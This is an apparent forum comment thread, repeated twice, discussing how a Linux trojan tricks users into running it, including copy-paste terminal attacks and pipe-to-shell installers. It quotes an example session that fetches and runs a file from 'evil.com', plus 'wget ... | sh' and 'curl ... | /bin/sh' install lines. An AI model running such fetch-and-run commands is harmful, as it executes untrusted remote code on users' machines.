5 ms·

I read the article twice, but failed to find the attack vector. How would you get infected by this, short of running it yourself manually?

Shish2k 13y ago
It's a trojan, not a worm http://en.wikipedia.org/wiki/Trojan_horse_(computing) http://en.wikipedia.org/wiki/Trojan_horse_(computing) http://en.wikipedia.org/wiki/Computer_worm http://en.wikipedia.org/wiki/Computer_worm
- concernedctzn 13y ago
  That should be obvious from reading the linked article, and I think someone asking for the attack vector would know this as well. It is a valid question, we know that people are tricked into installing the trojan but every article about this so far has been light on details as to how they are tricked. A browser exploit, malicious software repository, no confirmation on anything so far.
elwin 13y ago
The articles call it a "Trojan", so I expect they trick people into installing it.
- dobbsbob 13y ago
  It tricks users who blindly cut+paste console commands.
  - jlgreco 13y ago
    Yet another reason why command line literacy is important, even with "polished" distros. (Particularly if those polished distros have a habit of removing GUI configuration in the name of "simplification", pushing users to forums to find fixes that they can paste into their terminal...)
    - gizmo686 13y ago
      Even command line literate people can fall victim to copy and paste exploits. If you are copying from a non-trusted website, you might be tempted to read the code that you are copying, decide that it is safe, and copy it. The problem is that with HTML, it is possible that the website could make you copy something in addition to what you actually see, and therefore still be able to execute arbitrary code even though you 'audited' it before hand.
  - jessaustin 13y ago
    I suspect that most people who can find the console will notice what's going on with a session like this: $ wget evil.com/trojan $ chmod +x trojan $ ./trojan Maybe it's more likely to hit those who double-click unwisely?
    - michael_h 13y ago
      Not neccessarily: http://thejh.net/misc/website-terminal-copy-paste http://thejh.net/misc/website-terminal-copy-paste
    - olefoo 13y ago
      Remember that a year or two ago all of the public instructions for installing nodejs were of the form. sudo wget http://example.com/node/install.sh | sh so it's not like it's only newbies who blindly run scripts as root.
      - hamoid 13y ago
        Similar to how Meteor is installed: curl https://install.meteor.com https://install.meteor.com | /bin/sh After downloading it asks for your password.
  - deleted 13y ago
    [deleted]
    - jessaustin 13y ago
      Hahaha if it's in the repo then we DO have problems... Although presumably someone who could write there could just corrupt a package everyone already has?
queeerkopf 13y ago
Afaict this does not include any sort of remote exploit of linux, so it would probably rely on social engineering or something similiar. Have a look at the earlier discussion at HN: https://news.ycombinator.com/item?id=6185932 https://news.ycombinator.com/item?id=6185932
noselasd 13y ago
Same way as the larger part of other operating systems get infected. You trick people to install/run something. Mail with attachments, perhaps there's a vulnerability in a pdf reader, openoffice, some media player to exploit perhaps the user will actually run that executable you sent. Download links with added malware. Drop a custom usb key and exploit the USB stack.

Shish2k 13y ago

It's a trojan, not a worm http://en.wikipedia.org/wiki/Trojan_horse_(computing) http://en.wikipedia.org/wiki/Trojan_horse_(computing) http://en.wikipedia.org/wiki/Computer_worm http://en.wikipedia.org/wiki/Computer_worm

concernedctzn 13y ago
That should be obvious from reading the linked article, and I think someone asking for the attack vector would know this as well. It is a valid question, we know that people are tricked into installing the trojan but every article about this so far has been light on details as to how they are tricked. A browser exploit, malicious software repository, no confirmation on anything so far.

elwin 13y ago

The articles call it a "Trojan", so I expect they trick people into installing it.

dobbsbob 13y ago
It tricks users who blindly cut+paste console commands.
- jlgreco 13y ago
  Yet another reason why command line literacy is important, even with "polished" distros. (Particularly if those polished distros have a habit of removing GUI configuration in the name of "simplification", pushing users to forums to find fixes that they can paste into their terminal...)
  - gizmo686 13y ago
    Even command line literate people can fall victim to copy and paste exploits. If you are copying from a non-trusted website, you might be tempted to read the code that you are copying, decide that it is safe, and copy it. The problem is that with HTML, it is possible that the website could make you copy something in addition to what you actually see, and therefore still be able to execute arbitrary code even though you 'audited' it before hand.
- jessaustin 13y ago
  I suspect that most people who can find the console will notice what's going on with a session like this: $ wget evil.com/trojan $ chmod +x trojan $ ./trojan Maybe it's more likely to hit those who double-click unwisely?
  - michael_h 13y ago
    Not neccessarily: http://thejh.net/misc/website-terminal-copy-paste http://thejh.net/misc/website-terminal-copy-paste
  - olefoo 13y ago
    Remember that a year or two ago all of the public instructions for installing nodejs were of the form. sudo wget http://example.com/node/install.sh | sh so it's not like it's only newbies who blindly run scripts as root.
    - hamoid 13y ago
      Similar to how Meteor is installed: curl https://install.meteor.com https://install.meteor.com | /bin/sh After downloading it asks for your password.
- deleted 13y ago
  [deleted]
  - jessaustin 13y ago
    Hahaha if it's in the repo then we DO have problems... Although presumably someone who could write there could just corrupt a package everyone already has?

queeerkopf 13y ago

Afaict this does not include any sort of remote exploit of linux, so it would probably rely on social engineering or something similiar. Have a look at the earlier discussion at HN: https://news.ycombinator.com/item?id=6185932 https://news.ycombinator.com/item?id=6185932

noselasd 13y ago

Same way as the larger part of other operating systems get infected. You trick people to install/run something. Mail with attachments, perhaps there's a vulnerability in a pdf reader, openoffice, some media player to exploit perhaps the user will actually run that executable you sent. Download links with added malware. Drop a custom usb key and exploit the USB stack.